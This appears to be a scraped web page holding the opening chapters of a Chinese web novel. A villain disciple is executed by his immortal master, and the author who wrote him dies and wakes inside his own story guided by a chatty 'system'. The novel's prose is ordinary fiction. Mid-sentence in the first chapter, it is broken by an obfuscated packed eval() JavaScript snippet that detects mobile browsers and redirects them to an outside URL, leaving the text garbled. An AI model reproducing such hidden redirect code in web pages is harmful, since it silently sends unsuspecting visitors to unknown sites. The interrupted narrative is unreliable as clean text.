《恶狼总想亲他的大猫师尊》 1. 全剧终 我爱你可与三界作对 白虎峰,祭魔台。 今年的雪下得格外大。茫茫旷野中只听得见寒风呼啸,似要吞噬一切,旁人看不出,但修仙之人知道,这是场蕴含着强大灵力的暴雪,雪花所落之处,皆覆上冰霜。 冷……彻骨的冷。 乌歌被锁在祭魔台足有七日了,筋脉尽断,魔骨碎裂的他早没了开始反抗不屈的劲,哪怕每一片雪花落在肌肤上都象征着魔气的流失,他也不想再挣扎分毫。 “弯弯月牙儿……闪闪亮星星……莫害怕黑夜……师尊在身边……” 寂静无人的祭魔台回荡着男人断断续续的歌声,声音沙哑,他唱着从小听到大的童谣。 因为慕北源说过,只要唱着这首歌,不论在哪里,他都会来到自己的身边。 “师尊,您可是……来见我的勇气都没有吗?” 乌歌胸膛震出一声闷笑,他何尝不明白,师尊若真的来见他,等待自己的将会是万劫不复。 咚——。 金光乍现,青鸟归天 就在这时,嘹亮的钟声响起,一声接着一声,昭示着一场审判。 乌歌的歌声也戛然而止,他感受到落在指尖的冰霜更冷了几分,视线缓缓移到前方,静静等待着。 茫茫白雾中,似乎能看到一道高挑人影背光走来,一步一步,伴随着脚踏厚重积雪的声响,每一下都好像敲击在青年那颗肮脏又炽热的心脏。 漆黑的墨瞳紧紧盯着那抹白,恨不得把那唯一的纯洁彻底锁在深渊,只为自己散发圣光,直到白雾散去,映入眼帘的是把冰蓝长剑,再是身着月牙白长袍的银发男人。 以前那张满是温柔面色的俊脸此刻冷漠至极,浅褐色的琥珀瞳眸漫不经心看向跪地之人,毫无温度的眼神…… 也是如此的令人着迷啊,是他的,属于他乌歌的……慕北源。 乌歌在看清眼前人时眸里带着细碎的光,他嘴角微勾,拖拽着锁链,刚想伸出手触碰自己的神明。 咻—— 倒映在眸中的是剑的寒光。 长剑齐飞,掀起一阵白雾,以迅雷之势直奔祭魔台上的人。 剑剑穿身,却一剑都未伤到要害。 “唔……”乌歌痛吟一声,猝不及防的攻击让他丝毫没有防备,即便今天的场景早有所预料,但想做到心里没有一点波澜,又怎会容易。 后者吐出一口鲜血,洁白的雪地上是一片血红。 殷红鲜血顺着剑伤在残破不堪的身躯一点点滴落,似绽放的彼岸。 “逆徒,你可知错?” 再一次回过神来,乌歌有些恍惚。不过,他终于能见到心心念念的师尊了,即便是以这种方式。 仍然是熟悉的,温润的嗓音,极轻的语气却藏不住对自己的厌恶,失望。 多讽刺啊,你的师尊是来杀你的。乌歌恶劣地想。 乌歌缓缓闭上眼睛,又猛的睁开,盯着眼前人的眸底猩红一片。 藏着仇恨、痛楚及热烈爱意。 不同于以前的小心翼翼,是直白,不加掩饰的渴望眼神。 慕北源下意识皱皱眉头,周身气息骤然变冷。 “勾连魔族,残害同门,对师尊怀有不轨之心。” 每念一字,跪地之人嘴角扬起的弧度愈发明显。 “你——可知错!” 慕北源自身侧抽出长剑,毫不犹豫指向乌歌,空中赫然出现了千百只剑,森森冒着寒意。 “呵……嗯哈哈……哈哈哈哈哈!” 乌歌看着那个藏于心底,不可触碰的人此刻拿着神剑——护苍,面无表情对着自己,眼里没有一丝,甚至半点垂怜都没有。 他突然猛烈挣扎起来,足有手腕粗的锁魔链被拽得哐哐直响,被汗水浸湿的发丝偏向一侧,露出那双暗红色的诡异圆瞳。 “我……没错。”他直视着那琥珀般的双眸。 “可是师尊……你知道吗,我想过很多种可能,想过见面的许多场景,唯独没想过最后是以这样的方式送别。” “是不是很可笑?我竟然会觉得你会心疼我,哪怕一丢丢的可能。” “毕竟有我这样的徒弟是不是很让你失望?” 他不禁大笑起来。“可我没错!错的是这个世道!弱肉强食,天经地义,我想得到一切就得不择手段,难道有错吗?” “我喜欢这世上唯一对我好的人,难道有错吗?” 整个祭魔坛回荡着男人撕歇底里的笑声,慕北源静静的看着,眼里波澜不惊。 乌歌笑着笑着,又像小孩似的低低哽咽起来。 “可是师尊,我怎么会害你呢?我永远都不会害你啊……” “你忘了,什么都忘了,只有我记得……” 男人红着双眼抬起头,眼神堪称迷恋。 “师尊……我……呃!” 噗嗤。 这一次,刺来的是慕北源的本命剑。 乌歌不可置信看着刺入心口的护苍神剑,冰霜于剑尖向胸口四周蔓延。 “咳,为什么……” 红眸泛起水光,倒映眼前之人白衣飘飘的身影,似云似雾,一尘不染。 永远那般地高高在上,浅色凤眸里从来看不到自己的痕迹。 乌歌用尽最后气力拖拽着缠住手臂的铁链,虚虚握住眼前苍白的手腕,指尖微颤。 “你当真想要杀我。”晶莹泪珠顺着眼角滑落。 “为什么?” ——为什么对我这么狠,为什么一次次把我推开。 冰冷指尖触碰到滚烫的泪水,慕北源顿了顿,道: “杀人偿命,做错了事,就得承担。” “在你选择踏上魔族这条路开始,我们就再无瓜葛。” 慕北源垂眼看着男人默默流下血泪,那双浅色的玻璃眸闪着微光,他低声道。 “从今以后,世上再无乌怀生。” 护苍剑猛地飞出,慕北源默然一点点掰开扣在手腕上发着抖的指尖,再也没有看跪地之人逐渐黯淡的眼眸,白光闪现消失于面前。 没有半点停留。 只留下乌歌无力跌坐原地。 “师尊……呵……” 炽热红眸闪着诡异的亮光。 “我想说,徒儿没有错,但是……对不起……” 随着乌歌身体一点点变得透明,锁魔链没了存在的意义便自动脱落,不再被束缚的男人缓缓抬起右手,手心倒映出一轮血红明月,即便是这样,那血月周围还萦绕着颗颗亮星。 “师尊,你看,月亮一直都在,我也不会消散。” 血丝顺着眼眸溢出眼角,交织成妖艳玫瑰覆盖苍白面容。 “我不会放过任何原本属于我的东西。” “慕北源……你也是。” 乌歌歪头一笑,露出两颗小虎牙,好像回到了少年时,那般天真无邪。而停在半空的万千长剑也在这时划破长空,决然冲向祭魔坛…… 须臾,待那神剑飞过之地只留下一片凝固血迹,再无男人身影,血雾消散的那一刻天地重归寂静,仿佛方才什么也没有发生。 不过几息,放映着这场慕雪仙君亲自动手杀死魔头的播影石外,整个四象神峰乃至三界都发出欢呼雀跃声。 “叛徒死了!” “魔族圣子伏诛啦!” “慕雪神君万岁!四象神峰万岁!人类万岁!” “白虎战魔狼,护苍定天下!” 又有谁知,在众人看不见的地方,没人注意到那半点消散星光。 雪悄然融化了,明明此刻还没到春天。 与此同时,天边白光一闪。 ——【叮,小世界收集能量成功,回收对象,乌歌。】 【回收地点,神魂大陆】 【检测到灵魂碎片销毁完毕,正转交主……主……】 空中裂缝突显,红色乱码一闪而过又迅速愈合,混乱的电子音滋滋作响。 【警告,警告,不明力量入侵,回收失败!回收失败!】 【灵魂碎……碎片……融合完毕】 【融合对象——乌歌】 …… “话说那千万年前,在神秘的神魂大陆上,当然一开始也不叫神魂大陆。 神域陨落,天地灵气再无神界滋养,魔族没了牵制镇压,趁机起兵大肆进攻三界,企图击溃仙族占领大陆。 唯一能与魔族抵抗的仙族没落,大陆最终陷入无尽黑暗。 好在妖界始祖圣龙皇和人族皇子缔结契约,愿集妖、灵、神、圣四大兽族以自身神魂为契,自愿化为魂体代替灵气融入体内,与人族共存。 有了新力量的人族能爆发出堪比当年仙族的灵力,对魔族进行镇压反击,魔族以枯催拉朽之势迅速溃败,最后被赶回了无尽深渊,再无一战之力…… 从此,人族借神魂之力有了修行之法,问道成仙,再次建立神域,灵气又重新滋养充沛天地。 而号称大陆第一宗的仙门——四象神峰,可谓各御魂师的梦中第一宗,镇守仙门乃至整个三界千年已久。 再说四象神峰的传奇人物,白虎峰掌门,称号“慕雪仙君”“四大神峰高岭之花”“三界战神”的慕北源,听说一生只收过四徒,是山门众弟子内心的白月光……” 【叮——您有新的评论】 在昏暗狭窄的书房中,正嗦着泡面的清瘦青年操控鼠标,点出小说创作页面,迟疑片刻,便进入评论区后台。 【霸道蟑螂爱上我:我的妈呀,作者你是暗恋这个叫慕北源的吗,这么多口水话全是夸奖词。】 青年皱一皱眉,毫不犹豫搬出键盘开打。 【我是山里灵活的狗:不懂欣赏,主角就要有主角的待遇,要不是软件没有插播音乐功能,我高低给他整个专属BGM!】 【无敌暴龙战士:上面那个姐妹多少有点肤浅了,作者写的男主哪个不是他的梦中情人?】 【霸道蟑螂爱上我:但也不至于每个都叫慕北源啊!我给你数数,末世、虫族、惊悚、无限流……】 【每本的男主都一个名!这就不说了,这么多书当属这本修仙文最狗血。】 【我是山里灵活的狗:呸,管的着吗,你们口口声声说我儿子就是你们老公,那你们还不叫我爸爸?】 【霸道蟑螂爱上我:嚯,作者你要点脸吧!你还当我们爸爸,你瞅瞅你写的文要逻辑没逻辑,要文笔没文笔,呕。】 【我是山里灵活的狗:哟,那你还看,你怎么这么了解这本书,嗯?老实说你看了几遍!】 【金主什么时候和我奔现:弱弱问一句,作者大大你这么闲还不更新吗……】 瞧!这不还是有粉丝欣赏催更嘛! 【金主什么时候和我奔现:我都没文章可以喷了,前面都被我喷过一遍了。】 【我是山里灵活的狗:滚!】 【无敌暴龙战士:哈哈哈哈哈】 【我是山里灵活的狗:你也滚!】 【霸道蟑螂爱上我:哟,破防了。】 【我是山里灵活的狗:你更滚!】 好好一个评论区,鸡飞狗跳的,搞得就和直播弹幕似的。 乌歌“啪”的一下合上笔记本电脑,也不管评论区那些网友在原地疯狂用语言攻击。走之前,还下了狠话。 【我是山里灵活的狗:今晚你们爸爸还没骂够,等爸爸我润润嗓子再来几下口水淹死你们!】 乌歌,小绿江的新晋“人气”作家,其人气除了那长篇狗血的文章,让他扬名绿江的是他那张实在欠揍的嘴,怼天怼地怼网友,愣是凭借怼人的架势,让自己的小说也变得有名。 大家都是来看他写的文,然后再来喷他的。 不过喷文不喷角色,《我和师祖在神魂大陆封神》是本表面修仙打怪,实则狗血恋爱的言情修仙文,抛开全篇无脑的剧情,乌歌塑造的人物还是令人满意的,特别是男主慕北源,同时也是因为这个角色导致别人对他的骂声更甚。 【玛卡巴卡:作者算我求你了!让源哥独美好不好,无cp好不好】 【姐的冷酷零下八度:该说不说,慕北源这个角色塑造的实在帅爆了,除了万人迷这个设定。】 【我是一朵娇花:你这样。我还不如磕他和乌歌】 【娇弱小蟑螂:天哪!终于有姐妹和我一样了,难道就我觉得师徒恋很香吗】 【不色即是空:虽然我喜欢,但乌歌这个出场没几页就噶了的反派炮灰还是算了。】 是的,此乌歌非彼乌歌,乌歌用自己的名字和形象塑造了一个小小白眼狼反派,简直是……闲的没事了。 虽然书的设定是言情,有男主有女主,但慕北源是妥妥万人迷人设,男女通杀,其中最具代表性的是慕北源收的四位弟子中的大师兄——“乌歌” 其真实身份是神魂为魔狼的魔族圣子。 慕北源性子冷冷清清,可对自家弟子堪称宠溺,特别是大弟子“乌歌”平时最黏他,多少分了点偏爱。 不过,“乌歌”身为魔族的恶劣本性岂是会改的,在宗门当卧底勾连魔族的同时,他还对自家师尊起了不一样的心思。 于是,在本书开头的那几章,“乌歌”借助师尊对自己的信任,给慕北源的茶杯内下了筋骨散以及一点点情蛊。 也是在绑走慕北源的那晚打开了镇守无尽深渊的封印,迎魔族入门。 一时间,血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883360|176398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海升天,四象神峰陷入战局之中。 可“乌歌”不知的是,慕北源并未中蛊,更没有喝掉那杯茶,他只是想再给徒弟一次机会。 看清了“乌歌”真面目的他心灰意冷,失望至极,同时也毫不留情的挣开锁链,在“乌歌”惊恐的目光中,仅仅几招就击退了来犯魔族。 而“乌歌”的事也告诉了他们,魔族可能已经觉醒神魂,并且与魔兽缔结了契约。 魔族解放只是时间问题,一旦卷土重来,大陆就将陷入战争。 这也是整本书后续打怪升级的开始。 至于“乌歌”,被冷心的师尊下令关入地牢,百般折磨,最后被送上祭魔坛,万剑穿心而死。 这就初步塑造了慕北源这样爱憎分明,冷面冷心的大男主形象。 也亏得乌歌对自己如此狠心,把自己都写死了,还死的如此惨烈。 乌歌翻着底下读者给他的评论,心虚的摸了摸鼻子,其实……慕北源的原型的确取自他的一个暗恋对象。 只是对方……乌歌脑海里不禁浮现出那人温润疏离的脸,眸底满是温柔宠溺,那段时间确实是他一生中最幸福的时光了。 随之而来的,是周围人的鄙夷,厌恶,以及对方家长的嫌弃,怒骂。 “我的源源明明有着大好前程,为什么要被你这个恶心的同性恋给毁了啊!” 尖锐的女声崩溃绝望。 “没有人愿意要他,他好不容易实现了成为医生的梦想,可是医院根本不敢给他安排男性病人医治。” “因为会有人骂他同性恋啊,你知不道啊?知不知道!” “你现在就告诉他!你们俩必须分手,源源,你告诉他啊!” 手心不禁攥紧,乌歌抬起黑眸小心看着站在身边的男友。 男人仍旧保持着贯有的礼貌,这次却毅然当着母亲的面牵起自己的手。 “妈,对不起,是我先向他表的白。” “我无法让自己不爱他。” “好,好,滚!都滚,从今以后我们就当没你这个儿子!” 再后来…… 他记得发生了一场车祸,脑海里充斥着血腥味儿,以及医院消毒水的味道和堆放在病床前,来不及告别的鲜花。 泪水悄无声息顺着脸颊滑落,黑眸青年面无表情,看着病床上男人的亲朋好友在病房忙上忙下,哭泣声连成一片。 贵气十足的中年妇女在看见他的一瞬间,扑过来尖叫着推了他一把,像是在看什么怪物。 “你为什么不哭?你凭什么面无表情!他是为了你啊!为了你啊!” “你这个怪物,恶心的白眼狼……”女人哭的伤心,打在身上的每一下都恨不得挠死眼前这个人,乌歌站着一动不动,任她发泄。 “我的孩子……我的孩子……” 自己唯一的挚友站在旁边,看向他的目光也带着痛楚。 ——他们在问他,为什么不哭,是从未爱过吗? 乌歌转身离开了病房,最后听到的,是心率归于平静的滴滴声。 滴—— 是死亡的声音。 他的爱人,终究是被带走了。 没人理解他,没人相信他。 乌歌这辈子没什么想要的,那是他唯一一次生了离开世界的想法,后来又很快振作,投身于小说创作之中。 因为他记得慕北源说过:“你要好好爱自己,甚至比过爱我。” 总归变化是好的,只是骂声更多,因为他的没心没肺,爱人的逝去似乎没在人心底留下分毫痕迹。 可是,他不止一次地于某个夜晚想过,是不是他们从未在一起,是不是他从未表白过,那人就能找个女朋友幸幸福福,平平安安地过了这辈子。 所以他把这本书改成了言情,和给予主角万人迷这种老套设定。 乌歌想,在他创作的另一个世界里,会有很多人爱慕北源,而导致慕北源陷入绝境的“乌歌”是要赎罪吧。 【叮,您有新的私信】 桌前的青年发着呆,没有动作。 【叮,您有新的私信】 【叮,您有新的私信】 【叮,叮,叮……】 “别叮了!我正伤感着呢!” 乌歌一边手忙脚乱打开电脑,嘴里一边骂骂咧咧。 “让我看看哪个不长眼的又来找骂。” 【锦鲤泡泡:我靠你妈。】 【锦鲤泡泡:乌歌,你丫的,那个叫苍小冯的炮灰怎么回事?】 【我是山里灵活的狗:苍小冯,你又发什么疯?】 【锦鲤泡泡:呵,你还知道我叫苍小冯,老子兢兢业业给你的小说提高热度,你把我当恶毒炮灰?】 乌歌不耐地掏掏耳朵,隔着屏幕都能感觉到对面人的怒吼。 【我是山里灵活的狗:提高热度的方法就是成为黑粉头子,天天在评论区带头喷我吗?】 【锦鲤泡泡:黑红也是红啊,兄弟为你两肋插刀,你就忍心把兄弟放小说整死?】 【我是山里灵活的狗:急什么,我这不把自己也写成炮灰了吗?】 【锦鲤泡泡:我呸,谁要和你一起当炮灰,每次开小号带着水友们喷你的文,就感觉喷自己似的。】 乌歌:? 【锦鲤泡泡:啊不是,不是我小号,是我妈,呸,我奶!】 乌歌被气笑了,没记错的话苍小冯奶奶过世两年了,是要让他奶奶从棺材里出来开小号? 【我是山里灵活的狗:你看我信吗,我就说那群水友怎么回事,感情都是你干的。】 【你个背刺哥。】 乌歌微微一笑,手指迅速在键盘上飞打起来,啪啪的键盘声充斥着整个书房,屏幕一眼望去全是“花香鸟语”。 像是还不解气,乌歌又把从小到大苍小冯的黑历史拿来溜了一圈,愣是把屏幕快要刷爆了。 对面苍小冯的所有语言都淹没在一个个表达愤怒的表情包里。 “我靠,你丫的有病啊!” “我有病,我神经病。” “妈的,老子和你绝交啊!” “就没爱过。” 时钟一点一点指向凌晨三点,乌歌刚发完几条消息怼得对面疯狂发语音通话,刚想挑衅接下,突然,他感觉胸口一阵闷痛,心跳加速像是要跳出胸膛,就快喘不过气了。 不好的预感涌上心头。 完了,熬过头了。 乌歌慌忙关上电脑,从凌乱的床底上翻来覆去,刚掏出白色的药瓶,就感觉身子一软,眼前发黑,向地板摔去… 他,乌歌,因为怼损友太过兴奋,心脏病发作猝死了。 【全剧终】 2. 系统绑定成功之我是宝宝~ 【滋……滋】 【系统未知错误,寻找绑定宿主中】 “靠,好吵……什么东西。” 乌歌感觉自己全身酸痛,脑海里混乱一片,过了半晌意识才逐渐清醒,他缓缓挣开双眼,只觉得眼前陌生的景象让他两眼一黑。 古色古香的木屋,半遮半掩住的屏风,屋内装饰更是简洁,一张木桌,一张木椅,还有身下的榻。 这是哪里?难道这里是地府? 乌歌还没搞清楚如今的处境,但是早已经历过人生大起大落的他丝毫没有慌张,甚至还有闲心打量这个被他称为“地府”的地方。 咦,好寒酸啊,乌歌下意识嫌弃,直到他的视线落在木桌上的精致茶具。 下一秒,身着黑色玄衣的男子从床榻跌下,猛的扑向木桌,像看见猎物的饿狼…… “等等,我没看错吧?瞧瞧这发光的质感,琉璃般的色彩,这不会就是教授说的贵族专用玉光杯?” 乌歌啧啧称奇着,低头又看了看木桌。 哇,这木头,这触感,这上面精致还发光的花纹,这是,也不知道这是什么玩意儿,反正一看就很值钱! “这难道是金丝楠木?” 【亲爱的宿主,这是仙木】 “仙木啊……难怪这么气质非凡,珠光宝气,不对,谁在说话!” 乌歌这才注意到,脑子里还有个人机的声音不停滋滋。 【扫描绑定目标成功】 【穿书“垃圾桶”系统恭喜您成为第一千零一个前来打工的宿主】 【前一千个不幸战死】 乌歌:……? 他刚刚好像听到了什么不得了的东西。 【哈哈,开玩笑的啦(^_^)】 【姓名:乌歌】 【生前职业:社畜网络作家】 【死因:心脏病发作猝死】 【智力:不知,您的脑回路清奇,可以暂且定位成哈士奇】 乌歌:…… 【战斗力:哇塞哦,宿主您的小拳拳可以打飞一只气球呢】 【不过没关系~您现在的身体是原身的,宿主您呀,现在可是强的可怕!】 【颜值:宿主您堪称帅哥中的帅哥,小鲜肉中的战斗机,男女通杀,祸国殃民,红颜祸水……】 乌歌:?闭嘴,这词是这样用的吗! “何方妖孽,自称系统,还不报上名来!” 【宿主,您可以叫我宝宝~】 乌歌脸色一青,被那娇媚的颤音弄的一激灵:……呕。 隔夜饭都要吐出来了。 “行,系统是吧,小说里的老朋友了,我知道肯定要给宿主发布一系列任务,不说实话,我现在就一头撞死!让你拿不到年终奖!” 说完,乌歌就要作势往墙上撞去,但是脑海里的声音迟迟没有拦他。 【宿主,温馨提示下您哦,您现在是慕北源座下四弟子中的大师兄,撞是撞不死滴。】 “去他丫的慕北源啊,你当老子是傻逼……啊等等。慕北源?” 乌歌连忙冲到屏风后面的镜子面前,映入眼里的是一张与自己长得一模一样的脸。 身着黑衣的少年眉眼冷酷帅气,肤色白得倒有些不健康,漆黑的瞳孔让人猜不出心中所想,一双锐利上三白眼,板着脸时透着薄情疏离感,斜着眼看人,更是桀骜不驯,唯我独尊。乌歌看到这儿也不禁想到书中对他的评价:好一个喂不熟的白眼狼! 只是与现代短发不同,此时的乌歌墨发高束,腰间别着软剑,到底还是年纪不大,全身上下透着股少年专属的意气风发。 不会吧不会吧,不会这么倒霉穿书还穿到炮灰上了…… 像是要验证乌歌心中所想,也许是刚穿进这副身体还不能很好控制神魂,下一刻,一对毛茸茸的黑色狼耳从他头间冒了出来。 在乌歌逐渐惊悚的眼神中,狼耳还一抖一抖的,试问在整本小说中还有谁的本命神魂为黑狼并且是慕北源的弟子。 乌歌只感觉天都要塌了,张大嘴内心无声尖叫。 救命啊!这难道就是自作孽,不可活吗! 顶着头上毛茸茸的耳朵,乌歌跟丢了魂似的缓步挪回床榻,“咚”的一声四脚朝天倒在床上。 认命了。 【宿主,您可以尝试在内心与宝宝说话哦】 乌歌听的拳头都硬了。 神特么宝宝,大哥你这冷酷无情的人机声音没有一点宝宝的感觉。 【现在书中剧情到哪里了?】 无人应答。 【人呢?系统!】 【温馨提示,请宿主呼喊系统姓名哦~】 【……宝宝】 依然没有反应。 乌歌深吸一口气,清了清嗓子,眼眸弯弯语气甜蜜,夹道。 【宝宝~】 【宿主您的宝宝来啦~】 【先吃我一巴掌】 【嘤嘤嘤,宿主好残暴】 【回答我刚才的问题!】 【现在剧情进行到乌歌绑走慕北源的前一晚啦】 乌歌听罢“唰”地一下坐了起来。 【那那,到勾结魔族的剧情了吗?】 【宿主您才是作者,您问我?宝宝什么都不知道呢!】 乌歌心虚移开目光,早知道当时写书的时候多填一些坑了,剧情他也不怎么清楚了。 “我都要被关进地牢,万剑穿心了,能不着急吗!” 【这不是宿主自己写的结局嘛】 系统主打一个犟嘴到底。 “……” “行,那你们找我到这本书的目的是什么?” 【首先,在宿主死前主系统检测到您强烈的愿望波动】 【其次宿主写的书过于无脑,世界要求宿主必须改进剧情,补填书坑】 【最后嘛……因为宿主并未给本书一个具体结局,本书的小世界最后有了剧情偏折,给小世界管理局造成巨大困扰,但不方便透露哈】 越到后面,系统的声音越小,生怕被主系统判定成泄露天机。 【所以宿主任务很简单,活下去,走完主要剧情,替主角慕北源挡住没必要的烂桃花,最后随便找个机会死掉就行了】 “哦……工具人嘛,我懂我懂。” 【任务完成后会奖励宿主亿万奖金,宿主可以选择自主投胎或者待在小世界管理局,也可以游历各界,享受不同小世界的生活。】 乌歌顿了顿,小声道。 “可以复活重要的人吗?” 【额……理论来说,只要去小世界灵魂管理所寻找对应灵魂,是可以的】 “那好!这任务小爷我接了!” 【如果在完成任务途中死去,那么宿主灵魂也将永远被抹去,小世界将会重置】 “那没事,我有师尊罩着呢!” 乌歌一想到慕北源,眼里就迸发出星辰般的光芒。 那不仅仅是他倾注心血创造的儿子,也是他对故人念想的寄托,是精神支柱。 【宿主,宿主,要不您先一会儿再臆想?】 “干嘛!” 【第一个任务是要求宿主您活下去,您忘了吗?】 “我这不是还没有绑走慕北源吗?” 【可是原身已经给慕北源的杯中和膳食中下了药,半个时辰前已经叫人送过去了】 “我靠,我怎么把这事忘了,书中乌歌为了不让师尊发现端倪,特意选了第二天才会发 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乌歌嬉皮笑脸地把剑重新收回刀鞘,露出一个羞涩的微笑,眨着眼撒娇道“宝宝~小宝贝~请问宿主该怎么做呢?” 【哼,现在知道宝宝的重要性了吧!】 “是啊,没有宝宝,我都不知道该怎么办了。” 乌歌作出一副伤心落泪的表情,还没收回去的狼耳可怜兮兮贴在头上,看着十分令人怜惜。 系统的保护欲顿时上来了,谁能与一只毛茸茸小狼崽过不去呢! 【宿主不要担心!您可是有宝宝护着的!】 乌歌眼睛酸酸的,眼角微红,也不知是真感动还是假感动。 【宿主只需要内心默念本命神魂的名字三遍就搞定了】 “名字?” 乌歌回忆了一下书中神魂的本名,还记得是取自他和男友以前养的两只小宠物当中的一只黑毛小狗,另一只是白色布偶猫。 乌歌心中苦涩一片,在那人出车祸后不久,两只小家伙也一个接一个死去,也没人能说出原因,这也是藏在乌歌心底的两道伤疤。 “月饼,月饼,月饼!” 没错,小狗的名字叫月饼,小猫叫雪媚娘。 那乌歌的本命神魂自然也叫月饼了。 就在乌歌默念完名字的同一时刻,一道紫色光团从他眉心间飞出,爆发出一阵强光,一只巨大的狼影若隐若现。 一看就很威风。 乌歌看着那道狼影愈来愈明显。瞧瞧,这体型,这身姿,一个字,帅! 忽然间,他突然想到什么。 “等等等,一会儿再变,我的房子装不下啊!” 但已经迟了。 “彭”一只巨大的黑狼蹦了出来,伴随着房顶的崩塌,黑狼兴奋地嗷嗷直叫。 “嗷呜——小爷我来啦!” 乌歌呆滞看着这炫酷的出场,脑海里浮现出一个场景:一只猴子从石头里蹦出来。 “嗷呜嗷呜,哥哥你需要月饼帮忙吗?” 一个略显稚嫩的男声响起,乌歌回头看了看,才发现是面前这只黑狼发出的声音。 【神魂本身都是有生命的,当然会说话】 【废话,我是作者难道我不知道吗?】 “你叫我哥哥?” “是呀,你不仅是我的契约人,也是我哥哥呀!” 月饼毛茸茸的大尾巴甩来甩去。 “我们说好以兄弟相称的!不求同年同月同日生,也不求同年同月同日死。” 乌歌:好感动励志!嗯……好像哪里不对。 3. 老套的剧情,废物的系统 月影森然,皎洁月光如天来泉水倾泻而下,漆黑的天幕镶嵌几颗繁星,树影婆娑摇曳,犹如魅影。 白虎峰万籁俱寂,安静到只能听见黑鸦扑翅的声音,直至一道鬼魅般的黑影如飞速流星掠过山林,尘土飞扬,兽走禽飞。 若不仔细瞧瞧,定然发现不了巨大黑影身上趴着一位少年—— 乌歌这一生没晕过车,没晕过船,还是第一次晕狼。 他紧紧抱住身下飞驰的黑狼的脖子,几乎要陷进柔软浓密的皮毛中。 “月……月月饼,还还还要多久……我要吐了,呕。” “哥哥!你别吐月饼身上!月饼还要找小母狼玩的!” 月饼一脸惊恐,爪下的动作吓得一滞。 乌歌艰难仰起头,只觉得夜风似凛冽小刀刮得脸生疼,虬枝树叶在巨狼飞速的奔跑中零乱一片,簌簌落下。 跑到哪里了,什么都看不清啊。 “那你快点啊啊啊啊……” 只瞧黑狼全力冲破前面纠缠一团的草丛树枝,前方倏然现出悬崖断壁,底下是万丈深渊。 月饼在冲出悬崖的最后一刻,微微屈膝向前,轻盈一跃,月光撒在身上,宛如一条黑紫丝绸飘在高空—— 乌歌猛然屏住了呼吸。 月饼的身体逐渐下沉。 “救命啊!” 铃—— 空中响起清脆铃声,随之而来的是月饼爪下一圈淡紫色的月牙光晕,月饼原地颠了颠身子,激动地嗷呜一声,狼尾隔空一甩,迈开步伐在天空上疾驰,脚下是一圈又一圈的光环。 伴随着铃铃声。 乌歌晕乎乎的脑子慢慢清醒,月饼在空中的动作如履平地,也没有原先那样颠簸,他直起身,瞳孔微微睁大。 俯瞰下的白虎峰,美得令人窒息。 山泉清溪,好似水蓝色的流萤飘带萦绕山间,大地铺了层厚厚白雪,映射着月光,让原本漆黑的夜晚变得亮堂许多,空中不知什么时候下起飘零小雪,落在草木上,似蒙上薄薄的白纱。 月饼的耳尖也落了点白雪,乌歌下意识去用手碰了碰,引得黑狼委屈的嗷嗷直叫。 乌歌这才发现月饼身体的变化。 月光下的巨狼有着一身黑绸缎似的皮毛,背部却是荧光般的深紫,竖立的狼耳竟是火焰状,幽蓝火苗跳跃耳尖,额头上方是一道浅紫色的月牙印记,深蓝色的狼眸似海底深渊,四肢不知什么时候套上了几只银白铃铛。 原来铃铛声是从这儿发出来的。 像是察觉自家哥哥的眼光,月饼语气略显骄傲。 “帅吧?我已经好久没出来了,都快忘了自己长什么样了。” “而且哥哥……这里让我很不舒服,灵气一点也不好吃。” 乌歌这才想到,神魂都需灵气滋养才能保持原型,月饼都不知道有多少年没被原身放出来过了。 或许是因为月饼其实是只彻彻底底的魔兽吧,原身不敢把神魂放出来,他不敢赌。 再加上魔兽所需的是魔气,灵气虽也能吸收,但就像残次品一样,效果打了折扣,可四象神峰哪里会有魔气? 他脑海里不禁浮现出原身被万剑穿心的场景,那时候月饼在哪里?书中月饼的结局被他一笔带过,是被慕北源的神魂白虎给吸收了吧。 乌歌突然后悔给自家小狼写这么惨的结局了,写书的时候不觉得,只想让炮灰越惨越好。 为什么偏偏选择“月饼”做书中炮灰的神魂,也只是因为现实中,那人出车祸就是为了带月饼去医院做手术,他至今还记得邻居给他描述的画面。 “诶呦,那可是挺俊的一小伙子,死的时候还不忘把那小黑狗护在怀里,可惜哦。” 因为他说过,月饼是他最喜欢的小狗。那一天慕北源本来要去医院上班,是他缠着人要带月饼去看兽医。 “月饼吃坏肚子了,我不懂医,你就带它去嘛。” 慕北源无可奈何语气仍旧带着一丝宠溺:“算了,反正主任也不会安排我转正。”他从男友怀中接过小狗。 “只要你开心,就好。” 但从那天以后,乌歌就不再那么喜欢这只小狗了,甚至多少有点怨恨。 这份怨恨直到两只毛孩子一起离开才消失。 但到了书中想通后,哪里还舍得?它们明明什么都不懂。 压抑在乌歌心底的情绪几乎失控,是对自己不懂事的愧疚,对毛孩子失而复得的惊喜,以及一点点庆幸。 庆幸他来了这本书,还有机会改变结局,在另一个世界,能给他和月饼一个温暖的家。 “哥哥!底下好多人呀!” 月饼的声音把乌歌的思绪拉回,他下意识往下面探了探头。 茫茫白雪中,竟有那么多身着浅蓝弟子装的修士正练剑斗法。 不愧是有着战神一称的山峰啊,弟子都这么努力的吗? 【宿主您忘了吗?这些都是夜猎弟子,他们的本命神魂也都是夜行属性噢。】 “我当然知道!我自己还是白虎峰夜猎弟子的首席师兄呢!” 只不过出于慕雪仙君对这位弟子的偏爱,训练和夜猎活动原身根本就没去过几次。 月饼哪知道这些,它只知道自己好久没出来过了,这还是第一次看到白虎峰的弟子,激动地朝他们高嚎了一声。 “嗯?什么声音?” “好像是天上。” “快看!天上有一只巨狼诶!” 底下练剑的弟子纷纷驻足观望。 “那狼身上是不是还有个人在向我们招手?” 定睛一看,是乌歌正向他们挥手呢。 “我的师弟师妹们,你们还好吗——” “我是你们亲爱的大师兄啊——” 修士们脸上原本惊奇的表情渐渐凝固。 “卧槽是乌歌那个笑面狼!” “他他他又自称大师兄了,兄弟姐妹们注意了!” 弟子们互相使了眼色,也不知是谁先下了命令。 “散!” 几乎是三秒钟,不,那速度快的是一秒钟就足够。 底下的人以迅雷之势散开隐没在山林中。 